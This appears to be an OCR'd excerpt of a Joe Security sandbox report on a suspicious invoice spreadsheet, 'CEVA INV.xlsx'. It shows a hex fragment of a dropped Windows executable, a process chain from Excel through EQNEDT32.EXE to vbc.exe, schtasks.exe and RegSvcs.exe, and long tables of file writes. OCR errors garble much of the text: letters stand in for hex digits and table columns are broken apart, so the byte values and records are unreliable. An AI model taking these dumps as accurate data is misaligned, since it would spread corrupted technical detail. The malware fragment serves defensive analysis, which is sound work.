4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 85 dd 73 60 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01
50 00 00 32 Ob 00 00 0a 01 00 00 00 00 00 92 50 Ob 00 00 20 00 00 00 60 Ob 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 Oc 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00O
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 50 Ob 00 4f 00 00 00 00 60 Ob 00 ec 07 01
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 Oc 00 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 98 30 Ob 00
00 20 00 00 00 32 0b 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ec 07 01
00 00 60 Ob 00 00 08 01 00 00 34 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 00
00 00 00 80 Oc 00 00 02 00 00 00 3c Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 74 50 Ob 00 00 00 00 00 48 00 00 00 02 00 05 00 1c 7d 00 00 64 75 00 00 03 00 00 00 01 00 00 06
80 f2 00 00 c0 5d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 1b 30 02 00 1f 00 00 00 00 00 00 00 00 00 28 1e 00 00 Oa 28 1f 00 00 Oa 00 de 02 00 dc 00 28
07 00 00 06 02 6f 20 00 00 Oa 00 2a 00 01 10 00 00 02 00 01 00 Oe Of 00 02 00 00 00 00 aa 00 02 16 28 21 00 00 Oa 00
02 16 28 22 00 00 0a 00 02 17 28 23 00 00 Oa 00 02 16 28 24 00 00 Oa 00 02 16 28 25 00 00 Oa 00 2a 4e 00 02 28 09 00
00 06 6f ed 00 00 06 28 26 00 00 Oa 00 2a 26 00 02 28 27 00 00 Oa 00 2a ce 73 28 00 00 Oa 80 01 00 00 04 73 29 00 00
0a 80 02 00 00 04 73 2a 00 00 Oa 80 03 00 00 04 73 2b 00 00 Oa 80 04 00 00 04 73 2c 00 00 Oa 80 05 00 00 04 2a 00 00
00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 2d 00 00 Oa Oa 2b 00 06 2a 13 30 01 00 10 00 00 00 02 00
00 11 00 7e 02 00 00 04 6f 2e 00 00 Oa Oa 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 2f 00 00
Oa Oa 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 30 00 00 Oa Oa 2b 00 06 2a 13 30 01 00 10
00 00 00 05 00 00 11 00 7e 05 00 00 04 6f 31 00 00 Oa Oa 2b 00 06 2a 13 30 02 00 3c 00 00 00 06 00 00 11 00 7e 06 00
00 04 14 28 32 00 00 Oa Ob 07 2c 21 72 01 00 00 70 dO 05 00 00 02 28 33 00 00 Oa 6f 34 00 00 Oa 73 35 00 00 Oa Oc 08
80 06 00 00 04 00 00 7e 06 00 00 04 Oa 2b 00 06 2a 13 30 01 00 Ob 00 00 00 07 00 00 11 00 7e 07 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS'P2P '@ @@PO" H.text0 2 ".rsrc’'4@@.re
loc<@BtPH}dU]JO(((0 *(!("(#($(%*N(o(&*&(*s(s)s*s+s,*0~0-+*0~0.+*0~0/+*0~00+*0~01+*0<~(2,!rp(30455~+*0~

@ EXCEL.EXE

® EQNEDT32.EXE
@ vbc.exe

@ schtasks.exe

@ RegSvcs.exe

@ smtpsvc.exe
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Analysis Process: EXCEL.EXE PID: 1144 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path
C:\Users\user\AppData\Local\Temp\VBE

C:\Users\user\AppData\Local\Temp\Excel8.0

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd

File Deleted

File Path
C:\Users\user\AppData\Local\Temp\~DF44F99B96F18CCFAF.TMP
C:\Users\user\AppData\Local\Temp\~DF1C479AA250257C9B.TMP

Old File Path

File Written

File Path Offset

CEVA INV.xlsx

Copyright Joe Security LLC 2021

08:01:54

12/04/2021

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

false

‘C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding

0x13f9e0000

27641504 bytes
5FBOAOF93382ECD19F5F499A5CAA59F0

true

true

C, C++ or other language

high

Access Attributes

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read attributes | device
synchronize |
generic read |
generic write

New File Path

Length Value
C:\Users\user\Desktop\~$SOL2021-03-14-NETC-NI-21-049- unknown 55

0541 6¢ 62 7573 20
20202020 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20

Options Completion

directory file |  success or wait
synchronous io

non alert | open

for backup ident

| open reparse

point

directory file |  success or wait
synchronous io

non alert | open

for backup ident

| open reparse

point

synchronous io  success or wait
non alert | non
directory file

Completion
success or wait

success or wait

Completion
Ascii Completion
.user success or wait

Count Address

1

1

1

Source
Symbol

7FEEAD326B4 CreateDirectoryA

7FEEAD326B4 CreateDirectoryA

7FEEACDFDDC unknown

Source
Count Address Symbol
1 7FEEACEDEAD unknown
1 7FEEACEDEAD unknown

Source
Count Address Symbol

Source
Count Address Symbol
1 13FC2F526 WriteFile
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\Desktop\~$SOL2021-03-14-NETC-NI-21-049- unknown 110 050041006c0062 ..Albus.............. success or wait 1 13FC2F591 WriteFile
CEVA INV.xlsx 00750073002000 . ...ovvvviiiiaaaae

2002000200020 ccccccocccocos
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 4d 53 46 54 MSFT success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 02 00 01 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 09 04 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 2 51 00 Q. success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 2 00 00 . success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 2 02 00 . success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 2 00 00 . success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 06 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 91 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 d0 02 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 08 24 00 00 $.. success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 2400 00 00 $... success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 ff ff ff ff success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 20 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 80 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 0d 00 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 a2 01 00 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 580 00 00 00 00 64 00 Q0 ... success or wait 1 7FEEACDFDDC unknown

00c8 0000002c01 ...
0000900100004 ...
01 00 00 58 02 00 00
bc 020000200300 ...
00 84 03 00 00 e8 03
00 00 4c 04 00 00 bO ...
04 0000 14 050000 ...
78 05 00 00 dc 05 00
00 40 06 00 00 a4 06
00 00 08 07 00 00 6¢
07 00 00 d0 07 00 00
34 08 00 00 98 08 00
00 fc 08 00 00 60 09
00 00 c4 09 00 00 28
0a 00 00 8c 0Oa 00 00
f0 0a 00 00 54 Ob 00
00 b8 0b 00 00 1c Oc
00 00 80 0c 00 00 e4
Oc 00 00 48 0d 00 00
ac 0d 00 00 10 Oe 00
00 74 Oe 00 00 d8 Oe
00 00 3c 0f 00 00 a0
0f 00 00 04 10 00 00
68 10 00 00 cc 10 00
003011000094 11
00 00 f8 11 00 00 5¢
12 00 00 c0 12 00 00
24130000 88 13 00
00 ec 13 00 00 50 14
00 00 b4 14 00 00 18
1500 00 7c 15 00 00
€0 1500 00 44 16 00
00 a8 16 00 00 Oc 17
0000 70 17 00 00 d4
17 00 00 38 18 00 00
9c 18 00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ffa4 38 0000 ... 8 success or wait 1 7FEEACDFDDC unknown
ff ff ff ff Of 00 00 00
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 00 14 00 00  ......coeeveee success or wait 1 7FEEACDFDDC unknown
98 13 00 00 0f 00 00
00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 48 00 00 00
34 00 00 00 0f 00 00
00

success or wait 1 7FEEACDFDDC unknown

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 00 06 00 00  ........ccoce.e. success or wait 1 7FEEACDFDDC unknown
do 03 00 00 0f 00 00
00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 80 00 00 00  ......ccceeeee success or wait 1 7FEEACDFDDC unknown
ff ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 00 210 00 00  ......ceeeeeeee success or wait 1 7FEEACDFDDC unknown
a0 Oe 00 00 0f 00 00
00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 00 02 00 00  ......coccveee success or wait 1 7FEEACDFDDC unknown
ff ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 00 78 00 00  ..... Xewlooen success or wait 1 7FEEACDFDDC unknown
8 49 00 00 Of 00 00
00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 00 Ob 00 00  ........ T success or wait 1 7FEEACDFDDC unknown
54 06 00 00 0f 00 00
00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 00 20 00 00
50 19 00 00 0f 00 00
00

success or wait 1 7FEEACDFDDC unknown

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00  ......ccceeee success or wait 1 7FEEACDFDDC unknown
ff ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 20 00 00 00
18 00 00 00 Of 00 00
00

success or wait 1 7FEEACDFDDC unknown

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00  ......ccceenee success or wait 1 7FEEACDFDDC unknown
ff ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00
ff ff ff ff Of 00 00 00

success or wait 1 7FEEACDFDDC unknown

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00  ......ccceeee success or wait 1 7FEEACDFDDC unknown
ff ff ff ff Of 00 00 00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 14500 26 21 00 0O ff ff ff ff = &L....cccccoviiiiiiiiens success or wait 1 7FEEACDFDDC unknown
00 00 00 00 00 00 QO ...
00 03 00 00 00 00 OO ...
00 00 00 00 00 00 0O ...
00 00 00 00 00 00 QO ...
00 00 00 00 00 00 00 ..
00 18 00 00 00 00 QO ...
00 00 14 00 00 00 0O ...
00 00 00 ff ff ff ff 00
00 00 00 00 00 00 00
ff ff ff ff 00 00 00 00
04 00 00 00 03 00 03
80 00 00 00 00 00 00
00 00 ff ff ff ff 26 21
01 00 ff ff ff ff 00 00
00 00 00 00 00 00 03
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 30
00 00 00 00 00 00 00
2c 00 00 00 00 00 00
00 ff ff ff ff 00 00 00
00 00 00 00 00 ff f ff
ff 00 00 00 00 04 00
00 00 03 00 03 80 00
00 00 00 00 00 00 00
ff ff ff ff a6 10 02 00
ff ff ff ff 00 00 00 00
00 00 00 00 03 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 48 00 00
00 00 00 00 00 44 00
00
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File Path
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd

Copyright Joe Security LLC 2021

Offset Length Value

unknown 128

unknown 3744

unknown 976

00 28 0e 00 00 10 08 ...
00 00 40 0e 00 00 28 ...

08 00 00 78 Oc 00 00
40 08 00 00 dO Ob 00
00 98 0d 00 00 e8 Ob
00 00 98 0a 00 00 68
0d 00 00 c0 Oc 00 00
18 0c 00 00 88 08 00
00 90 09 00 00 10 Oe
00 00 88 Oe 00 00 58
0Ob 00 00 40 Ob 00 00
28 0b 00 00 70 Oe 00
00 08 0d 00 00 88 05
00 00 58 Oe 00 00 90
0c 00 00 e0 0Oa 00 00
50 0d 00 00 20 0d 00
00 b8 0b 00 00 d8 Oc
00 00

0527 bd 76 7a 11 34
46 87 1b 39 6e 7d €3
ac 79 fe ff ff ff ff f ff
ff 01 43 50 66 Of be

1a 10 8b bb 00 aa 00 ...

Lvz.4F.9n}.y..
....... 0...........CPf..

30 0c ab 00 00 00 QO ...

ff ff ff ff 13 43 50 66

Of be 1a 10 8b bb 00 ...

aa 00 30 Oc ab 64 00
00 00 ff ff ff ff Ob 43
50 66 Of be 1a 10 8b
bb 00 aa 00 30 Oc ab
€8 00 00 00 ff ff ff ff
02 e0 6 be 74 a8 la
10 8b ba 00 aa 00 30
Oc ab 2c 01 00 00 ff
ff ff ff 03 €0 6 be 74
a8 1a 10 8b ba 00 aa
00 30 Oc ab 90 01 00
00 ff ff ff ff 20 47 bb
1097 f7 ce 11 b9 ec
00 aa 00 6b 1a 69 f4
01 00 00 ff ff ff ff e0
03 0c 57 97 f7 ce 11
b9 ec 00 aa 00 6b 1la
69 58 02 00 00 ff ff ff
ff90 f5 72 ec 75 3
ce 11 b9 e8 00 aa 00
6b 1a 69 bc 02 00 00
ff ff ff ff 70 23 b0 82
bc b5 cf 11 81 0f 00
a0 ¢9 03 00 74 20 03
00 00 ff ff ff ff 71 23
b0 82 bc b5 cf 11 81
0f 00 a0 c9 03 00

2003 0000010000 ..

00 ff ff ff f ff ff ff ff 84

03 000001000000 ...
ff ff ff ff ff ff ff ff 8 03 ...

00 00 01 00 00 00 ff
ff ff ff ff ff ff ff 4c 04
00 00 01 00 00 00 ff
ff ff ff ff ff ff ff bO 04
00 00 01 00 00 00 ff
ff ff ff ff ff f ff bc 02
00 00 01 00 00 00 ff
ff ff ff ff ff ff ff d8 Oe
00 00 01 00 00 00 ff
ff ff ff 70 00 00 00 68
10 00 00 03 00 00 00
ff ff ff ff ff ff ff ff 04 10
00 00 01 00 00 00 ff
ff ff ff 90 00 00 00 30
11 00 00 03 00 00 00
ff ff ff ff ff ff ff ff a0 Of
00 00 01 00 00 00 ff
ff ff ff bO 00 00 00 94
11 00 00 03 00 00 00
ff ff ff ff ff ff ff ff 64 19
00 00 01 00 00 00 ff
ff ff ff dO 00 00 00 28
23 00 00 03 00 00 00
ff ff ff ff ff ff ff ff 8 19
00 00 01 00 00 00 ff
ff ff ff f0 00 00 00 fO
23 00 00 03 00 00 00
ff ff ff ff ff ff ff

CPf..

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

1

1

7FEEACDFDDC unknown

7FEEACDFDDC unknown

7FEEACDFDDC unknown

Page 33 of 45



File Path
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd

Copyright Joe Security LLC 2021

Offset Length Value

unknown 5016

unknown 52

unknown 512

00 00 01 03 00 00 00

00 ¢c8 0d 00 00 01 Q0 ...
01 03 00000000¢€0 ...
0d 00 00 02 000001 ...
00 00 00 00 0000 Q0 ...
00 03 0000010000 ...

00 00 00 00 00 00 04

00 00 01 00000000 ...

00 00 00 00 05 00 00
01 00 00 00 00 01 00
00 00 06 00 00 01 00
00 00 00 02 00 00 00
07 00 00 01 00 00 00
00 00 00 00 00 08 00
00 01 00 00 00 00 00
00 00 00 09 00 00 01
00 00 00 00 00 00 00
00 0a 00 00 01 00 00
00 00 01 00 00 00 Ob
00 00 01 00 00 00 00
02 00 00 00 Oc 00 00
01 00 00 00 00 00 00
00 00 0d 00 00 01 00
00 00 00 00 00 00 00
Oe 00 00 01 00 00 00
00 00 00 00 00 0f 00
00 01 00 00 00 00 01
00 00 00 10 00 00 01
00 00 00 00 02 00 00
00 11 00 00 01 00 00
00 00 00 00 0000 12
00 00 01 00 00 00 00
00 00 00 00 13 00 00
01 00 00 00 00 00 00
00 00 14 00 00 01 00
00 00 00 01 00 00 00
1500 00

b0 0d 00 00 00 00 OO ...
00 02 00 00 00 2d QO ...

73 74 64 6f 6¢ 65 32
2e 74 6¢ 62 57 57 57
10 Oe 00 00 00 00 00
00 01 00 07 00 25 00
4558 43 45 4c 2e 45
58 45 57

80 41 00 00 48 22 00

00 64 30 00 00 b4 49 ..

00 00 f0 47 00 00 80

3c 00 00 00 2e 00 00 ..

64 45 00 00 38 41 00
00 c8 47 00 00 90 30
00 00 d8 49 00 00 b4
29 00 00 d8 48 00 00
7¢ 46 00 00 6¢ 3d 00
00 2c 42 00 00 f0 21

00 00 d8 3b 00 00 50
47 00 00 54 46 00 00
54 43 00 00 54 3e 00
00 e0 2c 00 00 6¢ 3c
00 00 4c 3a 00 00 2¢
44 00 00 78 38 00 00
b4 45 00 00 24 47 00
00 8c 45 00 00 1c 43
00 00 20 49 00 00 90
49 00 00 34 30 00 00
30 40 00 00 9c 42 00
00 b8 44 00 00 28 3e
00 00 b8 3f 00 00 40
42 00 00 20 45 00 00
a4 47 00 00 b0 43 00
00 ¢8 32 00 00 20 41
00 00 18 48 00 00 68
4400 00 c8 45 00 00
10 26 00 00 c8 2f 00

00 54 2b 00 00 18 32
00 00 c0 41 00 00 cO
40 00 00 a0 34 00 00
b4 2b 00 00 a8 40 00
00 74 3b 00 00 b8 2¢c
00 00 78 45 00 00 d8
40 00 00 30 46 00 00
08 3f 00

...-~.stdole2.tbWWW..
.%.EXCEL.EXEW

ALH".dO...I...G...<.....dE

.E..C..1...1.40..0@...B...D
.(>..?.@B..E..G...C..2..
A..H.hD..E..&./[.T+..2

XE...@..0F...2.

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

1

1

7FEEACDFDDC unknown

7FEEACDFDDC unknown

7FEEACDFDDC unknown
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File Path

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd

Copyright Joe Security LLC 2021

Offset Length Value Ascii
unknown 18936 ff ff ff ff ff ff ff ff 07 00 .......... C.MSFormsW.........

unknown 1620

430f4d53466f72 8

6d 73 57 00 00 00 00 ..OLE_COLORWWWA......
ff ff f ff 09 38 e4 f5 4f ..8(0OLE_

4c 45 5f 43 4f 4c 4f  HANDLEWW......... 8.WOL
52 57 57 57 64 00 00 E_OPTEXC

00 ff ff ff ff 0a 38 28  LUSIVE
6f 4f 4c 4554841  W.........
4e 44 Ac 45 57 57 ¢8 (U.Font.........8.*fmDrop
0000 00 ffff ff ff 10  EffectX........8.bfmAction....
38c2574f4c 455f ... 8.kIDataAutoWrapper
4f5054 4558 43 4¢ ...

5553 49 56 45 2c 01 ...8.VIReturnintegerWWw....
0000 ff ff ffff0538 ..... 8.9IReturnBool

9f ce 49 46 6f 6e 74

57 57 57 90 01 00 00

ff ff ff ff 04 28 55 10

46 6f 6e 74 f4 01 00

00 ff ff ff ff Oc 38 a9

2a 66 6d 44 72 6f 70

45 66 66 65 63 74 58

02 00 00 ff ff ff ff 08

38 8c 62 66 6d 41 63

74 69 6f 6e bc 02 00

00 ff ff ff ff 10 38 8f

6b 49 44 61 74 61 41

75 74 6f 57 72 61 70

70 65 72 20 03 00 00

ff ff ff ff Oe 38 dc 56

4952657475 72 6e

49 6e 74 65 67 65 72

57 57 84 03 00 00 ff

ff ff ff Oe 38 e0 39 49

52 65 74 75 72 6e 42

6f 6f 6¢

8..IFontWww

2200 4d 69 63 72 6f ".Microsoft Forms 2.0

73 6f 66 74 20 46 6f Object L

72 6d 73 20 32 2e 30 ibrary..C:\Windows\system
20 4f 62 6a 65 63 74 32\fm

20 4c 69 62 72 61 72 20.hlpWW..NoneWW..Cop
79 1c 00 43 3a 5¢c 57 yWW..Move

69 6e 64 6f 77 73 5c  WW..CopyOrMove..CutW
7379 73 74 65 6d 33 WW..PasteW

32 5c¢ 66 6d 32 30 2e ..DragDropWW..InheritWW
68 6¢ 70 57 57 04 00 W..OnWW

4e 6f 6e 65 57 57 04 WW..OffWWW..Defaultw
00 43 6f 70 79 57 57 WW..ArrowW

04 00 4d 6f 76 65 57 ..CrossW..IBeamW..SizeN
57 0a 00 43 6f 70 79 ESWWW..

4f 72 4d 6f 76 65 03  SizeNS..SizeNWSEWW..S
0043 75 74 57 57 57 izeWE..Up

05 00 50 61 73 74 65 ArrowWWW..HourG

57 08 00 44 72 61 67

44 72 6f 70 57 57 07

00 49 6e 68 65 72 69

74 57 57 57 02 00 4f

6e 57 57 57 57 03 00

4f 66 66 57 57 57 07

00 44 65 66 61 75 6C

74 57 57 57 05 00 41

72 72 6f 77 57 05 00

43 72 6f 73 7357 05

00 49 42 65 61 6d 57

08 00 53 69 7a 65 4e

45 53 57 57 57 06 00

53 69 7a 65 4e 53 08

00 53 69 7a 65 4e 57

53 45 57 57 06 00 53

69 7a 65 57 45 07 00

5570417272 6f77

57 57 57 09 00 48 6f

7572 47

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEACDFDDC unknown

7FEEACDFDDC unknown
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File Path Offset Length Value Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 6480 1a 00 08 40 08 00 08 ...
80 1a 00 06 40 06 0O ...
06 80 1a 00 Ob 40 Ob 0.
00 0b 80 1a 00 02 40 .
02 0002 80 1d 00 ff ...
7f 64 00 00 00 12 00 ...
ff 7f 20 00 00 00 1d
00 ff 7f2c 010000 ...
1a00ff7f300000 ............ m..
00 1a 00 ff 7f 38 00
00 00 1d 00 ff 7f 19
00 00 00 1a 00 ff 7f
48 00 00 00 1a 00 00
40 18 00 00 80 1a 00
fe 7f 58 00 00 00 1la
00 13 40 17 00 13 80
1d 00 ff 7f 25 00 00
00 1a 00 ff 7f 70 00
00 00 1a 00 10 40 10
00 10 80 1a 00 fe 7f
80 00 00 00 1a 00 03
40 03 00 03 80 1d 00
ff 7f 31 00 00 00 1a
00 ff 7f 98 00 00 00
1d 00 ff 7f 3d 00 00
00 1a 00 ff 7f a8 00
00 00 1a 00 Oc 40 Oc
00 Oc 80 1d 00 ff 7f
49 00 00 00 1a 00 ff
7f c0 00 00 00 1d 00
03 00 f4 01 00 00 1d
00 ff 7f 55 00 00 00
1a 00 ff 7f d8 00 00
00 1d 00 ff 7f 61 00
00 00 1a 00 ff 7f e8
00 00 00 1d 00 ff 7f
6d 00 00

success or wait 1 7FEEACDFDDC unknown

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 24 03 00 fe ff ff ff 57 57 ...... WW.....WW.....WW  success or wait 1 7FEEACDFDDC unknown
03 00 ff ff ff ff 57 57
03 00 cd ef ff ff 57 57

IS

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 2403 00 00 $... success or wait 107 7FEEACDFDDC unknown

N

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 24 00 $. success or wait 3625 7FEEACDFDDC unknown

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 22 00001900198000 ............ L..D...... success or wait 3426 7FEEACDFDDC unknown
00 00 00 Oc 00 4c 00
11 44 01 00 01 00 00
00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 12 00 00 00 00 b0 Oe QO ............ success or wait 1841 7FEEACDFDDC unknown
00 0a 00 00 00

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 88 00 00 00 00 00 00 QO ...
00 02 00 00 00 02 00
00 00 03 00 00 00 03 ...
00 00 00 04 00 00 00
04 00 00 00 05 00 00
00 05 00 00 00 06 00
00 00 06 00 00 00 07
00 00 00 07 00 00 00
08 00 00 00 08 00 00
00 10 00 01 60 11 00
01 60 12 00 01 60 13
00 01 60 14 00 01 60
1500 01 60

success or wait 107 7FEEACDFDDC unknown

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 88 a0 Oe 00 00 a0 Oe QO ...
00 c4 0e 00 00 c4 Oe
00 00 e8 0e 00 00 €8 ...
0Oe 00 00 Oc Of 00 00
Oc Of 00 00 34 0f 00
00 34 0f 00 00 64 Of
00 00 64 0f 00 00 9¢
0f 00 00 9c Of 00 00
c4 0f 00 00 c4 0f 00
00 ec 0f 00 00 14 10
00 00 3c 10 00 00 68
10 00 00 ac 10 00 00
c4 10 00 00

success or wait 107 7FEEACDFDDC unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 88 00 000000240000 ...$..H..l..ooooueininnne success or wait 107 7FEEACDFDDC unknown
00 48 00 00 00 6¢ 00 ...

000090000000b4 ...
00 00 00 d8 00 00 00
fc 00 00 00 20 01 00
00 44 01 00 00 68 01
00 00 8¢ 01 00 00 b0
01 00 00 d4 01 00 00
f8 01 00 00 1c 02 00
00 40 02 00 00 64 02
00 00 88 02 00 00 ac
02 00 00 dc 02 00 00

00 03 00 00
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 4d 53 46 54 MSFT success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 02 00 01 00 success or wait 1 7FEEACDFDDC unknown
C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd unknown 4 00 00 00 00 success or wait 1 7FEEACDFDDC unknown
